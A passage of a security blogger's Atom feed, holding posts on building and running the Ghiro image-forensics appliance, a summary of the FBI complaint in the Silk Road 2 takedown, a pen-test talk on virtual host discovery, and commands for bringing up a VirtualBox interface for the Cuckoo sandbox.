</content><category term="Tools"></category><category term="ghiro"></category><category term="image forensics"></category></entry><entry><title>Ghiro Appliance Building</title><link href="https://jekil.sexy/blog/2014/ghiro-appliance-building.html" rel="alternate"></link><published>2014-11-18T01:05:00+00:00</published><updated>2014-11-18T01:05:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-11-18:/blog/2014/ghiro-appliance-building.html</id><summary type="html">&lt;p&gt;All started with us thinking about a way to provide users with the
&lt;strong&gt;simplest&lt;/strong&gt; and &lt;strong&gt;fastest&lt;/strong&gt; method to test or deploy
&lt;a class="reference external" href="http://getghiro.org"&gt;Ghiro&lt;/a&gt;, some users just want to give a try or
deploy their infrastructure with no pain in few minutes, and we like&amp;nbsp;challenges.&lt;/p&gt;
&lt;p&gt;The game was achieving an plug and play&amp;nbsp;&amp;#8220;box&amp;#8221;&amp;nbsp;with:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Few requirements or no&amp;nbsp;requirements.&lt;/li&gt;
&lt;li&gt;The ability to use the appliance building technology in a continuous
integration system to be used in developer&amp;#8217;s daily&amp;nbsp;testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After evaluating some technologies, the winner was a conventional
&amp;#8220;virtual appliance&amp;#8221;, because it requires only one &lt;strong&gt;virtualization&lt;/strong&gt;
software (i.e …&lt;/p&gt;</summary><content type="html">&lt;p&gt;All started with us thinking about a way to provide users with the
&lt;strong&gt;simplest&lt;/strong&gt; and &lt;strong&gt;fastest&lt;/strong&gt; method to test or deploy
&lt;a class="reference external" href="http://getghiro.org"&gt;Ghiro&lt;/a&gt;, some users just want to give a try or
deploy their infrastructure with no pain in few minutes, and we like&amp;nbsp;challenges.&lt;/p&gt;
&lt;p&gt;The game was achieving an plug and play&amp;nbsp;&amp;#8220;box&amp;#8221;&amp;nbsp;with:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Few requirements or no&amp;nbsp;requirements.&lt;/li&gt;
&lt;li&gt;The ability to use the appliance building technology in a continuous
integration system to be used in developer&amp;#8217;s daily&amp;nbsp;testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After evaluating some technologies, the winner was a conventional
&amp;#8220;virtual appliance&amp;#8221;, because it requires only one &lt;strong&gt;virtualization&lt;/strong&gt;
software (i.e. Virtualbox, Vmware). I love docker but it is more&amp;nbsp;demanding.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://packer.io"&gt;Packer&lt;/a&gt; was the framework used to create, starting
from configuration files and script, a brand new Ghiro Appliance running
the latest development release from
&lt;a class="reference external" href="https://github.com/Ghirensics/ghiro"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The appliance &lt;strong&gt;building&lt;/strong&gt; script is open source and available under a
project&amp;nbsp;dubbed
&lt;a class="reference external" href="https://github.com/Ghirensics/ghiro-appliance"&gt;ghiro-appliance&lt;/a&gt; on&amp;nbsp;Github.&lt;/p&gt;
&lt;p&gt;To play with it you have two&amp;nbsp;options:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Get the latest &lt;strong&gt;stable&lt;/strong&gt; appliance, the appliance running the latest
stable Ghiro, from &lt;a class="reference external" href="http://getghiro.org"&gt;official Ghiro website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Create your own &lt;strong&gt;development&lt;/strong&gt; appliance, using the latest Ghiro
development&amp;nbsp;release&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you are a Ghiro hacker or you just want to live on the cutting edge
of image forensics, you are going for the second option for&amp;nbsp;sure.&lt;/p&gt;
&lt;p&gt;Creating a new Ghiro appliance from scratch is quite&amp;nbsp;easy:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Download and install &lt;a class="reference external" href="http://packer.io"&gt;Packer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;You must have VirtualBox installed and access to internet (to
download&amp;nbsp;Ubuntu&amp;#8217;s&amp;nbsp;packages).&lt;/li&gt;
&lt;li&gt;Check out
&amp;nbsp;&lt;a class="reference external" href="https://github.com/Ghirensics/ghiro-appliance"&gt;ghiro-appliance&lt;/a&gt;&amp;nbsp;repository
and&amp;nbsp;run:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; packer build template.json
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You will see packer run an create the Ghiro appliance: spawn a
Virtualbox&amp;nbsp;machine, run the initial setup, reboot, and install all
software&amp;nbsp;required.&lt;/p&gt;
&lt;p&gt;It can take more or less 30 minutes depending on your system
performance and internet&amp;nbsp;speed.&lt;/p&gt;
&lt;p&gt;Now you will get an .&lt;span class="caps"&gt;OVA&lt;/span&gt; file ready for use! For more documentation just
have a look
to&amp;nbsp;&lt;a class="reference external" href="https://github.com/Ghirensics/ghiro-appliance"&gt;ghiro-appliance&lt;/a&gt;&amp;nbsp;&lt;a class="reference external" href="https://github.com/Ghirensics/ghiro-appliance/blob/master/README.md"&gt;&lt;span class="caps"&gt;README&lt;/span&gt;.md&lt;/a&gt;
and Ghiro&amp;#8217;s&amp;nbsp;documentation.&lt;/p&gt;
</content><category term="Tools"></category><category term="appliance"></category><category term="ghiro"></category><category term="image forensics"></category></entry><entry><title>Silk Road 2 Seized: FBI Report Highlights</title><link href="https://jekil.sexy/blog/2014/silk-road-2-seized-fbi-reports-highlights.html" rel="alternate"></link><published>2014-11-08T01:08:00+00:00</published><updated>2014-11-08T01:08:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-11-08:/blog/2014/silk-road-2-seized-fbi-reports-highlights.html</id><summary type="html">&lt;p&gt;It is not a flashing news, yesterday &lt;strong&gt;Silk Road 2&lt;/strong&gt; has been closed,
admin has been &lt;strong&gt;arrested&lt;/strong&gt; and charged, meanwhile in &lt;span class="caps"&gt;US&lt;/span&gt; and &lt;span class="caps"&gt;EU&lt;/span&gt; servers
have been seized by various law enforcement&amp;nbsp;agencies.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.24.46.png"&gt;&lt;img alt="Today all Silk Road 2 markets show this page." class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.24.46.png" style="width: 531px; height: 368px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The operation dubbed &amp;#8220;&lt;em&gt;Onymous&lt;/em&gt;&amp;#8221; was a joint effort of &lt;span class="caps"&gt;FBI&lt;/span&gt;, Eurpol,
Eurojust and &lt;span class="caps"&gt;US&lt;/span&gt;&amp;nbsp;Homeland Security, it was publicly advertised on &lt;span class="caps"&gt;FBI&lt;/span&gt;&amp;#8217;s
twitter&amp;nbsp;profile.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.29.08.png"&gt;&lt;img alt="FBI twitter statement on Silk Road 2." class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.29.08.png" style="width: 508px; height: 199px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Many good &lt;strong&gt;articles&lt;/strong&gt; are available about&amp;nbsp;operation details and Silk
Road admin profile so I don&amp;#8217;t want to duplicate them, just have a look
to these nice&amp;nbsp;reads:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.deepdotweb.com/2014/11/06/silk-road-2-seized/"&gt;Silk Road 2 Seized! (Multiple Markets&amp;nbsp;Seized)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://krebsonsecurity.com/2014/11/feds-arrest-alleged-silk-road-2-admin-seize-servers/"&gt;Feds Arrest Alleged ‘Silk Road 2 …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;It is not a flashing news, yesterday &lt;strong&gt;Silk Road 2&lt;/strong&gt; has been closed,
admin has been &lt;strong&gt;arrested&lt;/strong&gt; and charged, meanwhile in &lt;span class="caps"&gt;US&lt;/span&gt; and &lt;span class="caps"&gt;EU&lt;/span&gt; servers
have been seized by various law enforcement&amp;nbsp;agencies.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.24.46.png"&gt;&lt;img alt="Today all Silk Road 2 markets show this page." class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.24.46.png" style="width: 531px; height: 368px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The operation dubbed &amp;#8220;&lt;em&gt;Onymous&lt;/em&gt;&amp;#8221; was a joint effort of &lt;span class="caps"&gt;FBI&lt;/span&gt;, Eurpol,
Eurojust and &lt;span class="caps"&gt;US&lt;/span&gt;&amp;nbsp;Homeland Security, it was publicly advertised on &lt;span class="caps"&gt;FBI&lt;/span&gt;&amp;#8217;s
twitter&amp;nbsp;profile.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.29.08.png"&gt;&lt;img alt="FBI twitter statement on Silk Road 2." class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-21.29.08.png" style="width: 508px; height: 199px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Many good &lt;strong&gt;articles&lt;/strong&gt; are available about&amp;nbsp;operation details and Silk
Road admin profile so I don&amp;#8217;t want to duplicate them, just have a look
to these nice&amp;nbsp;reads:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.deepdotweb.com/2014/11/06/silk-road-2-seized/"&gt;Silk Road 2 Seized! (Multiple Markets&amp;nbsp;Seized)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://krebsonsecurity.com/2014/11/feds-arrest-alleged-silk-road-2-admin-seize-servers/"&gt;Feds Arrest Alleged ‘Silk Road 2′ Admin, Seize&amp;nbsp;Servers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The interesting point is the published &lt;a class="reference external" href="https://www.documentcloud.org/documents/1354808-blake-benthall-complaint.html"&gt;sealed
complaint&lt;/a&gt;,
a 33-pages document full of details. It teach us something about &lt;span class="caps"&gt;OPSEC&lt;/span&gt;
and Silk Road&amp;nbsp;operation.&lt;/p&gt;
&lt;p&gt;I suggest you to have a look over&amp;nbsp;the document, there are some
interesting&amp;nbsp;highlights:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p class="first"&gt;The Silk Road 2 admin, &lt;strong&gt;Blake Benthall aka &amp;#8220;Defcon&amp;#8221;&lt;/strong&gt; is not alone,
there are others known and unknown people involved. So this one could
not be the only&amp;nbsp;arrest.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;He is accused of: narcotics trafficking conspiracy, conspiracy to
commit and aid and abet computer hacking, conspiracy to transfer
fraudulent identification documents, money laundering&amp;nbsp;conspiracy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;An &lt;strong&gt;undercover&lt;/strong&gt; &lt;span class="caps"&gt;US&lt;/span&gt; Homeland Security agent &lt;strong&gt;infiltrated&lt;/strong&gt;&amp;nbsp;inside
the support forum stuff and gained access to private areas. The
agents are used to get screenshots as&amp;nbsp;proof.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.10.22.png"&gt;&lt;img alt="Undercover agent in Silk Road 2" class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.10.22.png" style="width: 300px; height: 122px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;&lt;span class="caps"&gt;FBI&lt;/span&gt; estimated Silk Road 2 was generating &amp;nbsp;sales of at least &lt;strong&gt;8$
million&lt;/strong&gt; and 400.000$ in commissions in October&amp;nbsp;2014.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;&lt;span class="caps"&gt;FBI&lt;/span&gt; places the born of Silk Road 2 on 6th &lt;strong&gt;November 2013&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The site was an shopping mall&amp;nbsp;for &lt;strong&gt;drugs&lt;/strong&gt; and illegal services,
just click on an item and put it in the shopping cart, probably the
most known feature of Silk Road ever. The website had&amp;nbsp;almost the same
features of Silk Road&amp;nbsp;1.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The admin implemented a Bitcoin &lt;strong&gt;tumbler&lt;/strong&gt;, like in Silk Road first&amp;nbsp;release.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.28.10.png"&gt;&lt;img alt="Silk Road bitcoin tumbler" class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.28.10.png" style="width: 300px; height: 92px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The fee was generally from four to eight percent, after a while a
fixed fee of five percent was fixed for all&amp;nbsp;services.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;On December 2013 the admin posted a message saying &amp;#8220;&lt;span class="caps"&gt;DPR&lt;/span&gt; places
&lt;strong&gt;operational security&lt;/strong&gt; above all else&amp;#8221;. Sorry if I tell you,&amp;nbsp;this
is an &lt;span class="caps"&gt;OPSEC&lt;/span&gt;&amp;nbsp;fail.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.40.17.png"&gt;&lt;img alt="Silk Road OPSEC" class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.40.17.png" style="width: 300px; height: 66px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The admin promptly moved the servers hosting Silk Road 2 when the Tor
Project announced the &amp;nbsp;Tor&amp;#8217;s &amp;#8220;de-anonymity&amp;#8221; vulnerability. That is
real vulnerability&amp;nbsp;response.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The admin was aware of &amp;nbsp;&amp;#8220;business&amp;#8221;&amp;nbsp;risks.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.49.53.png"&gt;&lt;img alt="Silk road risks" class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.49.53.png" style="width: 300px; height: 143px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;On September 10, 2014 someone around 1,5$ million were &lt;strong&gt;stolen&lt;/strong&gt;&amp;nbsp;by&amp;nbsp;someone.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.54.37.png"&gt;&lt;img alt="Silk road hacked" class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-22.54.37.png" style="width: 300px; height: 153px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The website had approximately &lt;strong&gt;150.000&lt;/strong&gt; monthly active&amp;nbsp;users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The admin tried to recruit large scale narcotics vendors. He was
really &lt;strong&gt;marketing&lt;/strong&gt; oriented, he focused on how to grow the vender
user base, improve the offer with new products and how to be
competitive in&amp;nbsp;the&amp;nbsp;market.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Some kind of &lt;strong&gt;intelligence&lt;/strong&gt; was available to website stuff: &amp;nbsp;they
warned Minnesota&amp;#8217;s users about an &lt;span class="caps"&gt;FBI&lt;/span&gt; operation defined as &amp;#8220;large
darknet related&amp;nbsp;operation&amp;#8221;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;The admin stated in a forum&amp;#8217;s message that protecting website
infrastructure and servers from being seized by law enforcement was
him top priority.&amp;nbsp;Fail.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Law enforcement put&amp;nbsp;offline a server and imaged it, a &lt;strong&gt;forensic&lt;/strong&gt;
analysis was performed. They extracted private keys to run Tor hidden
server and the website, chat logs and server&amp;nbsp;configuration.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Blake used his &lt;strong&gt;personal&lt;/strong&gt; email to lease,&amp;nbsp;control and maintain&amp;nbsp;the&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-23.17.13.png"&gt;&lt;img alt="Blake Benthall" class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-23.17.13.png" style="width: 300px; height: 49px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Blake accessed email with his original &lt;span class="caps"&gt;IP&lt;/span&gt; address, easily tracked to
his hotel&amp;nbsp;room.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Blake was active on social networking sites (Twitter, Github) and
leaked some&amp;nbsp;information.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Browser &lt;strong&gt;fingerprint&lt;/strong&gt; was used as a proof to identify&amp;nbsp;Blake.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-23.28.43.png"&gt;&lt;img alt="Identification with browser fingerprint" class="img-center" src="https://jekil.sexy/images/2014/11/Screen-Shot-2014-11-07-at-23.28.43.png" style="width: 300px; height: 239px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Long story short: Silk Road 2 admin did a good job but it was not
enough. He failed in some points about about &lt;span class="caps"&gt;OPSEC&lt;/span&gt; in a job where you
can&amp;#8217;t&amp;nbsp;fail.&lt;/p&gt;
&lt;p&gt;Kudos to &lt;span class="caps"&gt;FBI&lt;/span&gt; and other agencies for the joint&amp;nbsp;operation.&lt;/p&gt;
</content><category term="Blog"></category><category term="cybercrime"></category><category term="darknet"></category><category term="FBI"></category><category term="Silk Road 2"></category></entry><entry><title>Names and virtual host discovery</title><link href="https://jekil.sexy/blog/2014/names-and-virtual-host-discovery.html" rel="alternate"></link><published>2014-09-02T02:02:00+01:00</published><updated>2014-09-02T02:02:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-09-02:/blog/2014/names-and-virtual-host-discovery.html</id><content type="html">&lt;p&gt;Short speech about &amp;#8220;Names and virtual host discovery&amp;#8221; at
&lt;a class="reference external" href="http://endsummercamp.org"&gt;&lt;span class="caps"&gt;ESC&lt;/span&gt;&lt;/a&gt; 2014, a basic task during the
information gathering phase of your pen test. You can download slides
in&amp;nbsp;&lt;a class="reference external" href="https://jekil.sexy/public/docs/slides/names_and_virtual_host_discovery-esc2014/Virtual host discovery - ESC 2014.pdf"&gt;&lt;span class="caps"&gt;PDF&lt;/span&gt;&lt;/a&gt;&amp;nbsp;too.&lt;/p&gt;
&lt;iframe style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 5px; max-width: 100%;" src="//www.slideshare.net/slideshow/embed_code/38577751" width="427" height="356" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"&gt;
&lt;/iframe&gt;</content><category term="Blog"></category><category term="slides"></category><category term="virtual host"></category></entry><entry><title>Ghiro 0.2 preview video</title><link href="https://jekil.sexy/blog/2014/ghiro-0-2-preview-video.html" rel="alternate"></link><published>2014-08-28T20:55:00+01:00</published><updated>2014-08-28T20:55:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-08-28:/blog/2014/ghiro-0-2-preview-video.html</id><content type="html">&lt;p&gt;We are really close to the next
&lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro&lt;/a&gt; release, so we put together a
video showing some of the new features, a preview of &lt;strong&gt;Ghiro 0.2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I hope you like it, if don&amp;#8217;t we always appreciate your
&lt;a class="reference external" href="http://www.getghiro.org/#contact-section"&gt;feedback&lt;/a&gt;!&lt;/p&gt;
&lt;div class="youtube"&gt;&lt;iframe src="https://www.youtube.com/embed/9B_0GBWCPbE" width="640" height="360" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;</content><category term="Tools"></category><category term="ghiro"></category><category term="image forensics"></category></entry><entry><title>Bringing up VirtualBox interface before starting Cuckoo</title><link href="https://jekil.sexy/blog/2014/bringing-up-virtualbox-interface-before-starting-cuckoo.html" rel="alternate"></link><published>2014-08-27T18:43:00+01:00</published><updated>2014-08-27T18:43:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-08-27:/blog/2014/bringing-up-virtualbox-interface-before-starting-cuckoo.html</id><summary type="html">&lt;p&gt;I am getting older and I need to write down commands&amp;nbsp;I use&amp;nbsp;rarely.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.cuckoosandbox.org/"&gt;Cuckoo sandbox&lt;/a&gt; expects to found all
network interfaces configured in its&amp;nbsp;configuration file up when you
start&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;If you configured Cuckoo to bind on, for example, VirtualBox virtual
interface although it is not up and working, Cuckoo will raise an error to
tell you it cannot operate with an interface&amp;nbsp;down.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Cuckoo Sandbox 1.2-dev
www.cuckoosandbox.org
Copyright (c) 2010-2014

2014-08-24 00:21:33,713 [root] CRITICAL: CuckooCriticalError: Unable to bind ResultServer on 192.168.56.1:2042: [Errno 99] Cannot assign requested address …&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;I am getting older and I need to write down commands&amp;nbsp;I use&amp;nbsp;rarely.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.cuckoosandbox.org/"&gt;Cuckoo sandbox&lt;/a&gt; expects to found all
network interfaces configured in its&amp;nbsp;configuration file up when you
start&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;If you configured Cuckoo to bind on, for example, VirtualBox virtual
interface although it is not up and working, Cuckoo will raise an error to
tell you it cannot operate with an interface&amp;nbsp;down.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Cuckoo Sandbox 1.2-dev
www.cuckoosandbox.org
Copyright (c) 2010-2014

2014-08-24 00:21:33,713 [root] CRITICAL: CuckooCriticalError: Unable to bind ResultServer on 192.168.56.1:2042: [Errno 99] Cannot assign requested address
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &amp;#8220;Unable to bind ResultServer&amp;#8221; error means that Cuckoo was unable to
bind the component used to fetch analysis&amp;#8217; logs, it happens because your
virtual interface is down or&amp;nbsp;missing.&lt;/p&gt;
&lt;p&gt;To fix you have only to bring up your (virtual) interface. You should
create the virtual networking device and configure&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;With VirtualBox you have two ways to get a virtual interface up. The
quick and dirty one: just start and stop your virtual machine. The
cleanest, use the following commands to create the virtual network
interface and configure&amp;nbsp;it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt; VBoxManage hostonlyif create
&lt;span class="gp"&gt;#&lt;/span&gt; ip link &lt;span class="nb"&gt;set&lt;/span&gt; vboxnet0 up
&lt;span class="gp"&gt;#&lt;/span&gt; ip addr add &lt;span class="m"&gt;192&lt;/span&gt;.168.56.1/24 dev vboxnet0
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The first command tells VirtualBox to bring up an host-only vboxnet
interface, the rest is used to configure&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;Happy&amp;nbsp;analysis!&lt;/p&gt;
</content><category term="Tools"></category><category term="cuckoo"></category><category term="virtualbox"></category></entry><entry><title>Ghiro development repository moved</title><link href="https://jekil.sexy/blog/2014/ghiro-development-repository-moved.html" rel="alternate"></link><published>2014-07-24T20:47:00+01:00</published><updated>2014-07-24T20:47:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-07-24:/blog/2014/ghiro-development-repository-moved.html</id><content type="html">&lt;p&gt;Ghiro development branch&amp;nbsp;moved!&lt;/p&gt;
&lt;p&gt;We moved development branch (where next Ghiro&amp;#8217;s release is currently
developed) to &lt;a class="reference external" href="https://github.com/Ghirensics/ghiro/tree/master"&gt;master
branch&lt;/a&gt;. Starting
from now, if you want to follow Ghiro&amp;#8217;s development you have only to
follow our GitHub
&lt;a class="reference external" href="https://github.com/Ghirensics/ghiro/tree/master"&gt;master&lt;/a&gt; branch.
Easy&amp;nbsp;peasy.&lt;/p&gt;
&lt;p&gt;Check it out! We are always developing amazing, at least we hope so, new
features. Please remember you can use
&lt;a class="reference external" href="https://github.com/Ghirensics/ghiro/issues"&gt;GitHub&lt;/a&gt; to opening
tickets for us: if you spot a bug or want a new&amp;nbsp;feature.&lt;/p&gt;
</content><category term="Tools"></category><category term="ghiro"></category></entry><entry><title>Running Ghiro appliance on ESXi</title><link href="https://jekil.sexy/blog/2014/running-ghiro-appliance-on-esxi.html" rel="alternate"></link><published>2014-06-16T23:48:00+01:00</published><updated>2014-06-16T23:48:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-06-16:/blog/2014/running-ghiro-appliance-on-esxi.html</id><summary type="html">&lt;p&gt;&lt;a class="reference external" href="http://www.getghiro.org"&gt;Ghiro&lt;/a&gt; is a nice&amp;nbsp;digital image forensics
tool (ok it is self promotion..) and it comes as appliance too, this is
great when you need a click and run environment to start processing
images &lt;span class="caps"&gt;ASAP&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;The appliance is available in &lt;span class="caps"&gt;OVA&lt;/span&gt; format (for VirtualBox, VMware Player
and Workstation), unfortunatly the appliance generated with VirtualBox
defaults for Ghiro 0.1 can&amp;#8217;t run on VMware &lt;a class="reference external" href="http://www.vmware.com/products/vsphere-hypervisor/"&gt;vSphere
Hypervisor&lt;/a&gt;
(former ESXi), so &amp;nbsp;starting from today it is available in &lt;span class="caps"&gt;OVF&lt;/span&gt; format for
Vmware&amp;nbsp;ESXi.&lt;/p&gt;
&lt;p&gt;If you need to run Ghiro on&amp;nbsp;ESXi you can download the Ghiro appliance
for ESXi from &lt;a class="reference external" href="http://www.getghiro.org/#download-section"&gt;Ghiro official …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a class="reference external" href="http://www.getghiro.org"&gt;Ghiro&lt;/a&gt; is a nice&amp;nbsp;digital image forensics
tool (ok it is self promotion..) and it comes as appliance too, this is
great when you need a click and run environment to start processing
images &lt;span class="caps"&gt;ASAP&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;The appliance is available in &lt;span class="caps"&gt;OVA&lt;/span&gt; format (for VirtualBox, VMware Player
and Workstation), unfortunatly the appliance generated with VirtualBox
defaults for Ghiro 0.1 can&amp;#8217;t run on VMware &lt;a class="reference external" href="http://www.vmware.com/products/vsphere-hypervisor/"&gt;vSphere
Hypervisor&lt;/a&gt;
(former ESXi), so &amp;nbsp;starting from today it is available in &lt;span class="caps"&gt;OVF&lt;/span&gt; format for
Vmware&amp;nbsp;ESXi.&lt;/p&gt;
&lt;p&gt;If you need to run Ghiro on&amp;nbsp;ESXi you can download the Ghiro appliance
for ESXi from &lt;a class="reference external" href="http://www.getghiro.org/#download-section"&gt;Ghiro official
website&lt;/a&gt;, import it with
vSphere client and run it! It is tested on ESXi&amp;nbsp;5.5.x.&lt;/p&gt;
&lt;p&gt;Have&amp;nbsp;fun!&lt;/p&gt;
</content><category term="Tools"></category><category term="ghiro"></category></entry><entry><title>Such Cuckoo, much sandbox: dogeon report</title><link href="https://jekil.sexy/blog/2014/such-cuckoo-much-sandbox-dogeon-report.html" rel="alternate"></link><published>2014-06-08T23:07:00+01:00</published><updated>2014-06-08T23:07:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-06-08:/blog/2014/such-cuckoo-much-sandbox-dogeon-report.html</id><summary type="html">&lt;p&gt;Several days ago I discovered one of the best projects of this year:
&lt;a class="reference external" href="http://dogeon.org/"&gt;dogeon&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;span class="caps"&gt;DSON&lt;/span&gt; (Doge Serialized Object Notation) is a data-interchange format,
that is easy to read and write for Shiba Inu dogs. It is easy for
machines to parse and generate. It is designed to be as similiar as
possible to the `DogeScript Programming
Language &amp;lt;https://github.com/remixz/dogescript&amp;gt;`__. &lt;span class="caps"&gt;DSON&lt;/span&gt; is a text
format that is not language independent but uses conventions that are
